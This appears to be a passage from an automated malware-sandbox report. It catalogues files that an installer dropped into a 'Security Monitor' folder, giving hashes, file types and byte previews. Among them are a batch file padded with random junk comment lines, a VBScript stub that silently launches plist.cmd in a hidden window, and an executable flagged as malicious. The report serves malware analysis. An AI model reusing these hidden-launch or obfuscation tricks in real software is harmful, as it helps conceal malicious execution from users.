Preview:	rem gibtqhekf39mgpqap5pxyt2te17k9o7aapwwaxt2uqh9r9ulftm2bkrq1rgk6jho47nxpwejvsj5zxyatyx7v10hl8l8zdaf84vopfithjvmoz48uzg6bg2u..@echo off..rem x2bd8l07ny0pa06la0e5iujfktvb2pxkx20nj52l1zmdoo23hxvkc75pexdzdn0b48fkj0..rem maux0ukutdxt9tbb88k0q2i09t1216lj0qg09sa93u3yvhcp5l51f7aitf1chki5hkjy0c2td23wx9rl9c0y7patqsuftpcx6y0cf1..rem jcqykl0xdea3l63f01mzzek33rov71ykztdzp1wr677iyor7b9ytvp0sxzz0djpcbkrxol0lo2i86lrilpiuhyjnt0cn703qe4rj5xdw2wplwh0dxqnxwkf4..@chcp 65001..rem 90iuh7dibiwuy7yq2e2b2gy600lp47nfpilcfpieauuxvqyrwylx0n50fr2q5azxth0wgzvsbpjk2v..rem z3dfn3scjmyjo9a3frstejhv4ek1ju057o08jay6c2t2fb3ighivzzze3paxxxvd08uxu0eur0a02d8uak0m340rcn0b4fy5bhw36l3jsplk87..rem yszm15xv7y41j1jfecxaynqd0nrzl5pl0pl8sfyxf5zsc299itmk98beo4ie8buu90i7kn760wm62breujvtlwr500gratijbkx0ihkz51gpsm3rzi0p1t0b..@rem UTF-8 encoding..rem c5bsy9uclhsu8v2ionuxjz8..rem kyq0rsrtz3j0lepwuipik3cwyqc36oeagz62c0z7jp2h1ttg00c0n35tfkqiwxxijqj7cxy0q7t7b730ygponok8zdjjlkfgl6omw0pezkdoof9t..rem jnag4uwbmfqgh7y8t4uz46lf5zj18z3s00h2mdyyms

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.8759757685468275
Encrypted:	false
SSDEEP:	6:j+q9NqhVIZ3WGpDSRR26RuBFCOoVgfBbtLFu:Kqahm5WGDS3vuvCO0Yq
MD5:	BDFC59070BFBBB84ED2FB09198896A81
SHA1:	D8C6E3A0E847199D16DC237C7BEC47A4148EB3D6
SHA-256:	033C50986AD34B15E737466398CF5E06116E560251040899871D97EC33E03B47
SHA-512:	DAEAEEDB6744464E6B524EACE531B902A066BA2E643F7626142D9444F070261EC9B0D6C4EA4A4C9874646A951D62B2D218B0ACC48E0FAFCF5CB9DEA0CF661E96
Malicious:	false
Reputation:	unknown
Preview:	Set objShell = CreateObject("WScript.Shell")..Dim FilePath..FilePath = WScript.ScriptFullName..FilePath = Left(FilePath, Len(FilePath) - 10)..objShell.CurrentDirectory = FilePath..objShell.Run "cmd.exe /c plist.cmd", 0, False

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sgw.m (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, xresolution=98, yresolution=106, resolutionunit=2, software=paint.net 4.0.10], baseline, precision 8, 320x240, components 3
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	6.729660321273714
Encrypted:	false
SSDEEP:	48:u8/Pc+/bx0uERAGX6j9UCqgD97QB2xdddddddddddddd5a:u8Hc+zlEJX6lQcW
MD5:	499B10F1F3AE7CA6ACFBA3735EE75F4C
SHA1:	D5CFC9E2DC00A443052765491A915A503EF9C800
SHA-256:	EAF22AE8407F8DD0AC9F4FA7885A2DA8AFE288B09B2C4B87F6F17C5D50F2A988
SHA-512:	F29D30CBB427598E8577606791AF3C8277391BBF1AD7964217EAF78B807A6DFC9B99846F128A5F23BE7A409A3F7DAD81F3E5FC9B2CD15C12742A98A45A7CDDB6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`......Exif..MM..................b...........j.(...........1.........rQ...........Q...........Q..................`.......`....paint.net 4.0.10.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............************************************************........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Air.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	27663
Entropy (8bit):	7.90463581132329
Encrypted:	false
SSDEEP:	768:cMmPZ4Bc3LNhpK28BWmW0l2QbBwgx+9VBo7xXz9YAgx3p8:NmPZsEP9I2wBwrHOxXz61x3a
MD5:	C9A294C557F4CA094C11719AD8D7DEFC
SHA1:	3FEBA4F2A142FCC95C74F6FC0E520C4A369BB5A0
SHA-256:	EB1BE2B4FBA03260128E7EC0F5CDB8F4320E5D21AF40E7DD8EB956429B4AABEE
SHA-512:	1DB4E0649A2C2D8C75641BB9A374FC9B5A8CCD4D9336267D9FD1FA680EEE5DC48993910825303F4CEAD9FB3FD2D1814BAB39A21C1A5F74A7605E6555560B0181
Malicious:	false
Reputation:	unknown
Preview:	.....l..x..k...}.7$%J"MI.je.H..D...8........._H..`.....`....@..@..H..q\Zm.....:...&...nRY.6.u..IU\..&.Rv...i]..<..9=}........a.x..........v.{.qF..o.>....Q?.T?....f.d....n........!..Pw.}... ...O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'.. \|...B.....O.>A.....O..'.. \|....'.. \|..>A.....O.>A.....O...'.. \|....'.. \|.O.>A.....O.>A........'.. \|....'.. .O.>A.....O.>A..!\|....'.. \|....'....O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'......c.........$G/%X.$Q>.M...>.'.....\|.O...'.. \|.O..>.'.....\|.X.lB....).I..'\|....'....$..S.\|.P7. 4.n.>..o.u...~6..y..}k../....~....J..,}...g#.q ...HD.....(kq..V..'<....C.?...........8. l.m....z.....P$?.{.......hh......}aH.....=.T.WH.........{....Y~....a.$J~..D....`$"..!]q8......(.q..$.W.j...u..8\|..B.K....."X<qH.Xz.8\|.R.`I~..{nK.K.....-.,..{.#X...o........9.E...O~..Y... \|.By...w.W.[....8\|k1.....j..=.}.._/~...7;[....N.._.uj...KGvW...B..J...f.C.........7....m.-......8.y"7.re!...-.>8_6.wWJ.).ur..!.q.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Android.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	65863
Entropy (8bit):	7.956619819086428
Encrypted:	false
SSDEEP:	1536:O6yYtz5wY3k3atdbzv0dBtGQKF30k2V7qyEEQq2uUwAqlgQM:O6yYtlxeaktcsJQzvqlgQM
MD5:	81E1F6AF711947DE0DECC68E58C0C293
SHA1:	557A98909549083A962BE781FA01D74979D01DDA
SHA-256:	B1E632717552DEB6BAB0D84839FC698DEA272EC0D1CE4A757BE5246788AB066A
SHA-512:	D2436A2CED9335BA4B4E2D08EB8449FDCDE43135A138A9EF6F73BCB7A98B56BFC0C8FFC29CC4F604B4F782AA0596EFD712F74B035A081ADFBFBCD88C015DACAB
Malicious:	false
Reputation:	unknown
Preview:	....?...x..].@.G.~..&j4.cbI.I..W.....b.).h,1F#F.{.FS...6......(`...{/r.{{,Y...=n.x..........w.ofK.Z....oE/..Q.a....7..p... @./.\|.d.....?_N%'..........l...J..O.n.fA..5......:...~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~g......l.w6.;.......~gc.......l.w6.;.......~gc........w.;....~wuu...O.f. C..J,....J.......`.>..,.~.d+1&...[.1...J.I...VbL..+l%.~.e+1&...[.1..o..........l%.~..VbL..{l%.~..VbL.. ..cR.?f+1&..S..cR.......=......l%..~../...#.J..........{4[.1....b.J...>c.;w..c.J........W.].V}....Cw..O.8.W....J.J`.hC......t__.....k<...@.f...E.......{...o<.p#........9.uR.9t..JG.[A..Y.A0.2...=b......>...J..l.....?./\]]...+.z...c.....u.#\.A...l. ......6......~...q.x.?..........\|P.qq.-../..lq.-..........;........;..?...]q.+.w..o..#p?&...A.?.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Charm.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	122200
Entropy (8bit):	7.981243125429923
Encrypted:	false
SSDEEP:	3072:LcJ9eG7nGSn39jEfKuu6Arxa7DcbPDxMeYw0Hu/dxjfjOL:geGnh39jEfKuz4ky1J0MxE
MD5:	13E9A3A7019801450759DB3C1123B986
SHA1:	4C5CD7A1176217FAFBB92B285F5E39C271C2D26F
SHA-256:	3F8FBC9026671A1B94C6AAFD3FCB11CC015A950512883A91B0620CA22739FC31
SHA-512:	AECB72D9DB235476744C0E9A3CD8884231B38243E2B60CC4DAC84503B2D6EE42CD1EBF3A49A231724998E580A8910E0F05A1652A916987EE6E2D860D3C37258F
Malicious:	false
Reputation:	unknown
Preview:	....P...x...x\Gz...............z...zg..^.}.f...3.K...hFY#..F..II..)QY..A0.$.@$..s.A.s..@G.._.j4N.n....h4............9..V.\|..O...rc.7....\..U....V}]..#.....J..*..G.!d%..c%....p.\t.A!.....BV.H.....A.AB.. . !.y.y...<.<H.a..t.B..9#...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.. . !.y.y...<.<H.a.d.$.0.2..B.....!...B.. g...<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Default.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	74289
Entropy (8bit):	7.983650396991257
Encrypted:	false
SSDEEP:	1536:pyMfdEQ9zaVeRu8IDdsxPBwaUXYPRuFEDNJs9Li9GE7bpgVkSyml:pyMlZNaV2U5s7wLXYIuDNa9e9GE7G6Sh
MD5:	1390E5507BA0EFAE031318614A527C91
SHA1:	1327BD4FC6FFFADA97721375692ACB2E39F4DC95
SHA-256:	8C7BF368852F4FB69975B3841708CF654B0A22D02ED4BC2D95574EE50770694B
SHA-512:	B505E89C3A8C063A852C6654B58AEC996C6649692ED42584C69DE70DDE8F46C448B1A7B00B7465945B4BD2710A565FBD7C6A00556221DDFB5D966CBE3E8C8214
Malicious:	false
Reputation:	unknown
Preview:	....)"..x...s.Y............L....?`6v7b_w.n..jSNeUV.r.(.(.%.Q.I.F.=EO....{o...=e.{@HP"...I.'.#T"..'....y...?-......,.O..........[..u~._a..........e... .=!..2R..s.....B7 3I..,..yk.}\~....W.. t.2....4.......y..Bs K...w.o.. 9.......?.=......$'.\....].)\\|.$F..! c!o..[...e..i...RJ...I..g..B.5..lA.....FR~..s...S.}......[7...e..$.l.?A. ..3....o!.!.I....:w....A.o.....A...!d#9w..F....].A...G..$.A....P%.NCB..5.Z....."6..2w.\|g.s.....6o.....~.n.^..G.....K...(%.~...1r.j2,e,.'b..&t.1.. ZV...Y`.mV3.!d#)?!c1w...>Q..dL....P.g..kO>w..E...S.>..n..L..!5S.......%AB....aI...,..OR..[`H.6K..k...2.4`M...$.I3D!......X@.s.k..?w3..Q1S.r.Ic..)F.Z.Hj...S.R.1..~...Go.b..\|.:.... V3....X(I..,..v+..}s....r.fAR..&X)..E..}t........0w.%...m.AR.#A0w.\.s..Y...3.U..d.....F.,...]...`."....,<w.$^. Y.}dH....,....t$.$...9.6.....]..A.G.....a. ..Z.ds7.M...V }..]kR..B.T..t..~. ...H.$s.b./.G."t..7..5.tI<0.AR..o..5.T..- }..].^...$[.u.$s.W........*..5..Z..A..^.L2w.Z.F)C.l.Mo....(.J).d..J.d

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\HUD.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	47367
Entropy (8bit):	7.962365375624471
Encrypted:	false
SSDEEP:	768:k1CdRYP33ZhH7Dsk+0msPSEBEilsj15FNPj1bgC+UTbhrpyambFRVrn3hh+PX2zg:/uvob0m8EiujFNPREhOhrfqFRV7hMv2k
MD5:	E7B7F860D4178823CB0BF8A87AAED3E8
SHA1:	4F819FE07BD2A290877DAC09158A342F00A2AFE7
SHA-256:	2D042AEB8DB400EB4E3BC283E7546EE93D4ECC6B8BD5DCA0D89819DA517466EF
SHA-512:	105C6F1706497252BDD95CE96621B8B42E10DCFF246AFD302723AAFC99DE2C8F168C366E79E9D1B7F151CF1D755B7D74BBB8AA0152B89B729A0634B7E0240CD9
Malicious:	false
Reputation:	unknown
Preview:	........x..y....){<..3......m...-....[R/.n-.V.$.ZZ..#\|%$..."...X..B...`..{...6........w.#&....../b...o..p^w:;.O.sj.:.y..NV.[.o......z~..F......$.........#........Ce\.2.GeV,C.!.2.X...eH.....p......!.2.X.,C.a...c...).!.2d...Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2..2...Vn-Y.!.b.R,C.!.eH..).!.e.2.X...b...).!.2.X.,C.eH..).a9...c......e.2..)C.b...).!.2.X.,C.eH..).!.r...P...eH9R..G........OeV.e8....p.Y..a..Y..p.....3.......5jhh.h.EeP(8..Q/.."6.....L.E..C....k.].pA..9TF$.!...7j.{...o.;vL...r^R.(2...o.?...\|...o...K/..\.....;.rF(.......bBa..Pp(.Q....?..O..........O>.[.>.tS(......."C...F.....k..Q9..I.w......o....?.I...Q.._..Q.EQ.EQ.......^....Q..g.WG.w..Q.........+.o...6..l......{r.._...&~.....3)..k{)....R.JEo./....T.=..~....k[=....c.qj~l8.xm.G^o..S......9u.K..]9.J.....c...s......L?........4.C+W......S.c.2VN.....^4,l..2..r.Ue,5.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\SnowLeopard.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	144577
Entropy (8bit):	7.984713151564499
Encrypted:	false
SSDEEP:	3072:MZk6EgfzDfFnHj9A6d5qxvZkr0U26aqBQ5fzFZeKcrjXgtrOG79:M1fzDfFhAE5ykr0R6jBQ5rahgtrx9
MD5:	F7F4FE155A8FF420BCB4710212F0D469
SHA1:	F6A8265AA0504CE12397350A6CEE41F3B799B40D
SHA-256:	0232D8214B2FA4C6E261D72B3FB1E8EB76599F372FD8880AA252F4F494E7A7C1
SHA-512:	2205D714D4410315E4887A6B54306E99D4ED0B591284D20BE1DD451A4657DA039B9877698113E150059587216AE121E2AFDA14D3E74E649DB60B19BC559AB3B7
Malicious:	false
Reputation:	unknown
Preview:	.....4..x..}.`.....w...K.$v\|..8..vv.v...[.r.-.eu[..,Y..D.....{...@.h..{!@.F.S.gwI..A...........y3...........,...../..(......w._.....{~L....a&A.G..)@s.........4.h...\..@@s.........4.h...\ ..@s.........4..h..\ ..@s.0=s.\1.........4..h..\ ..@s.........4..h..\ ..@@s.........4.h...\..@@s.........4.h....\ ..@s.........4..h..\ ..@s..........b.D..r..L..N.oR.^.o.....,.9.Y...&.Y...i.&.0U..n.>......Y.N...L.1........`.^.a.....D"F...) .B..Ke..B.N........B!C...) .B.R..n)`....h4..[...b..Z........Cg.J.T#."..a...0.......V.C.S@..h.@...)....Y.pK.S@..f.D...) ...p..n)`...p:..k@.E.....s.r.....0..\....L....\|..b..{{Mf#..-...?:...}f.[.....X."...f..V..4...n..................6K..p.D...C..`.....v...8....)....b5.0. .J..A..0. .M....._.................p.....w...a...>L....`SWW.=.8...&...a]...........................a..nV..S#.....I.p..w...W.......<.{=.....}....?...~......3.(N.fG......\........Ek..........)'...}..D$.I$..T*....X.>>T. "..\|>.(;1... ...C.....iRRR ".`..q.q.=s.0.p"T.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Ubuntu.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	61361
Entropy (8bit):	7.974577216527501
Encrypted:	false
SSDEEP:	1536:hsQScTKMW3NmUWxxSvsA+vvZQnBIuzN1SKvzuQ/S93iiXmNF+O:0c638UWrSvsfve6ux1S5Q/sm3
MD5:	DAC5D65C6B4F0B8483DBDA7EF4EFB3F2
SHA1:	BE01B81E548343D0888E912CDF3EBCE5A613CA85
SHA-256:	FBFCC9AF1DC9076257B3D38BDA525B13E0BA96EAD1DBA4178C5C1AE9DA28169E
SHA-512:	DB98B144AEEB09A3B0480F908DE0ACFA6D5832F8EB48D025048D6D6FFE2E01BFF46D16B3BF5AF5B1E6129E749A01E79968C79429A3493979CAAE519E2E22642E
Malicious:	false
Reputation:	unknown
Preview:	........x.....G.-....7.......w.....hv.F....F..x..A..y?.H#..FHB.0...w..M.M{W.].}7..;...d.......?tHeGFF.."NEfT....R.A?...H'-...c................ue.6{.!2.WXJ.(......;..N ......;..N ......;..N ......;..N ......;..N .....w....@~'....w...@~'....w...@~'....w...@~'....w...@~'....w....N ......;..N ......;..N ......;..N ......;..N ......;..N~';....w...@~'....w...@~'....w...@~'.......9.....8..{d..)......8}.Yd.H..>q...C..N.0u:.!...?;y.!.....4...i...DM";D...g..";D...Q.%;D....c..".p...%;D...a..!;D...!#G..".p...#....8}......8....d.H...o.P.C..N.3h0.!.....0...i..{..@v.4.....#;D...n}.>..S].."........[."...m;t$D....w...@~'....w...@~'....w..........Q`~..+!....{.BD...k.^....{..}......}..".....$D......L.(0...2..Q...<x...O.".....CF.$D.....M.{(..].L.:...`.}`..UB.A...>..o[.i1.=........I....6^....B.^...W.....,...;...2Z<x..'.'eI.J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.Ke.W.?.Qg.V.>xPf...W.....>....D.h......>m!...........h!.{."%J.....g.n...m.....ujk^a ...W.0....(o...~....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Win8.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	93110
Entropy (8bit):	7.980490586282423
Encrypted:	false
SSDEEP:	1536:KSERpvQcTD4m7uJB896GhoGf96pxWrGbZ3Wi0lXONwy/l+U0/F8/HftM6Tg19+Nc:tERpZcmQB89f6sGZWfX8w2+UfXJU
MD5:	C8EF42B94E09A94F677FB1FFED974205
SHA1:	BEE03B2984273D08E17C0351CD8E7B8E640E0CF4
SHA-256:	7794BCAB01CA657C2F908C79EED3AF9EB4B4585ED933DFB24F68B7AC5CEA4C4A
SHA-512:	DE4223558585667D040FDC14647EB0CB9EBE0001EE459E3E97A12C727017131354720BAF5F3CA399E11A17FBD61C65480836FF4F336B506753438FE8B42FDB56
Malicious:	false
Reputation:	unknown
Preview:	.....k..x..}.x.....Y.....~..e.~...v..l.yI6N........N...q6..l..E.z.)Q.EI.{'..X$...t.D.XAr..g..`P......w(..w.....=s......w...!.,P...-.g..\|.K.>..1..w...?7~s...6.\|.....F...y}/....4l..K.hF".2.b.h.P.2..C.h.?.d.hX.@H..j.@H..a.j..@.#..a.j.5.@.#..a..5.@.....a..5.@....a.0.5.@....Q...0...F P...0j...F P..D8.6.2?...O..........a..5.@.......;.C.#b].5.a.j..@.#..a.j.5..u...j....~.5.@.#..a..5.@.......j.0.5.@.....0.5..F.....0...F..Q....OP...0...F P...0j...F P...j...F.#P...j..@.#P.aDlh.X..F.....0...F..Q...0...F P...0j...F P..D......a..5.@....a.0.5.@.....0.5..F.....0...F..Q...0.!..+y.....a..5.@....N.s.aD,k..F.....0...F..Q...0..^..`4\|.j...F P...j...F.#P...j...D.}.a.j..@.#..a.j.5..)....F.....0...F..Q.8...j...F P...j..!5...0.5.@.....4\..F.....0...F....O....a..5.@....a.0.5.@.....0.5..F.....0...Fl...P...0..n..B.#P...j......\|.#.....y.[.c....H.....i.....!j...F"._.w....a$.5.D....a.0.5.D...H.0.5.D...H.0.........a$.5.D....a.0.5.D...H.0.5....5.D...G.3A...H.0.....M.Hd..a$2.I.q......V............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\iOS4.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	63924
Entropy (8bit):	7.981383813742454
Encrypted:	false
SSDEEP:	1536:OVuuNRRWZGzeoGBz3c0GaWGCywXfi4kvMG9Or:GuuN/zlgBlpMG9Or
MD5:	84BE9F08F6AC3191FC36CBE1F0C29007
SHA1:	72EB8308E4B5DCB1FACD0AB128E04EBC31FBAEB8
SHA-256:	A3EF2C08C1465BDAA8AAFC8B77A6347BD65CD92EB1738242362F74889CFDA630
SHA-512:	FCD8906E3F6A638185608869960A990F3DA2EE9508674E5FABDA588DF32B39625B5845AC3D975FF8F7E7CD8375CAFE6A7CB6C79C45D8EA9A7850238E95CF09BE
Malicious:	false
Reputation:	unknown
Preview:	........x..].@...5y...M.1y)j........a...]zGz..(..."..D.. ..{.5.D.c......n...mvv.].;.....o.w.3...........u/.......H.6......X.\|6.o.T....(++[.tiNNNFFFBBBhX......[.._dXHjB....9.....[.p~cf..D.b6R.h...z.U..@a.3P.h........A..%..Z.??..9)))....~.q1..'g..F.....y.:....m...A3@I.'P.h...:....@y.?P!h....TTT.`..........y.3fOO..0{...h...B.......@s.<........]Z.dIVVV..........;...@ 41.NP.h........A..K..-.5+%9e......?I........@..B."(.t)7779%.. .s..?....<BcE ....../.<........]........>.].\K.=.@ h..>..@j.?P!h.......Y.f........C,........t.@ H.4...T.....i..A..H.eK.Rb..}A.KL.....~...^h.]...;......z@C.$....O>....5..2..-."A.6.+..2.-..=D../.k.f..={..O..>......D...z@C.$.....O<......B..H...u_\|...2..?..S.57.7/9j.$".H......=.....e...A..Ke+..}....t.g.AlRx.......o;".H.P...T..K..0\...<."(.ti......=..b....]......y..D.&..@.p...k.Ca......K.6..{........]...R..O$....J....]z.s.(.?..Ov5.A...=...\.KYaS.....D....$.....D.%".H$]"..-S...@.D$...K.?...?...h.m[.%".....s.(....<u....t

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-1OS4I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	74289
Entropy (8bit):	7.983650396991257
Encrypted:	false
SSDEEP:	1536:pyMfdEQ9zaVeRu8IDdsxPBwaUXYPRuFEDNJs9Li9GE7bpgVkSyml:pyMlZNaV2U5s7wLXYIuDNa9e9GE7G6Sh
MD5:	1390E5507BA0EFAE031318614A527C91
SHA1:	1327BD4FC6FFFADA97721375692ACB2E39F4DC95
SHA-256:	8C7BF368852F4FB69975B3841708CF654B0A22D02ED4BC2D95574EE50770694B
SHA-512:	B505E89C3A8C063A852C6654B58AEC996C6649692ED42584C69DE70DDE8F46C448B1A7B00B7465945B4BD2710A565FBD7C6A00556221DDFB5D966CBE3E8C8214
Malicious:	false
Reputation:	unknown
Preview:	....)"..x...s.Y............L....?`6v7b_w.n..jSNeUV.r.(.(.%.Q.I.F.=EO....{o...=e.{@HP"...I.'.#T"..'....y...?-......,.O..........[..u~._a..........e... .=!..2R..s.....B7 3I..,..yk.}\~....W.. t.2....4.......y..Bs K...w.o.. 9.......?.=......$'.\....].)\\|.$F..! c!o..[...e..i...RJ...I..g..B.5..lA.....FR~..s...S.}......[7...e..$.l.?A. ..3....o!.!.I....:w....A.o.....A...!d#9w..F....].A...G..$.A....P%.NCB..5.Z....."6..2w.\|g.s.....6o.....~.n.^..G.....K...(%.~...1r.j2,e,.'b..&t.1.. ZV...Y`.mV3.!d#)?!c1w...>Q..dL....P.g..kO>w..E...S.>..n..L..!5S.......%AB....aI...,..OR..[`H.6K..k...2.4`M...$.I3D!......X@.s.k..?w3..Q1S.r.Ic..)F.Z.Hj...S.R.1..~...Go.b..\|.:.... V3....X(I..,..v+..}s....r.fAR..&X)..E..}t........0w.%...m.AR.#A0w.\.s..Y...3.U..d.....F.,...]...`."....,<w.$^. Y.}dH....,....t$.$...9.6.....]..A.G.....a. ..Z.ds7.M...V }..]kR..B.T..t..~. ...H.$s.b./.G."t..7..5.tI<0.AR..o..5.T..- }..].^...$[.u.$s.W........*..5..Z..A..^.L2w.Z.F)C.l.Mo....(.J).d..J.d

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-2CIAP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	47367
Entropy (8bit):	7.962365375624471
Encrypted:	false
SSDEEP:	768:k1CdRYP33ZhH7Dsk+0msPSEBEilsj15FNPj1bgC+UTbhrpyambFRVrn3hh+PX2zg:/uvob0m8EiujFNPREhOhrfqFRV7hMv2k
MD5:	E7B7F860D4178823CB0BF8A87AAED3E8
SHA1:	4F819FE07BD2A290877DAC09158A342F00A2AFE7
SHA-256:	2D042AEB8DB400EB4E3BC283E7546EE93D4ECC6B8BD5DCA0D89819DA517466EF
SHA-512:	105C6F1706497252BDD95CE96621B8B42E10DCFF246AFD302723AAFC99DE2C8F168C366E79E9D1B7F151CF1D755B7D74BBB8AA0152B89B729A0634B7E0240CD9
Malicious:	false
Reputation:	unknown
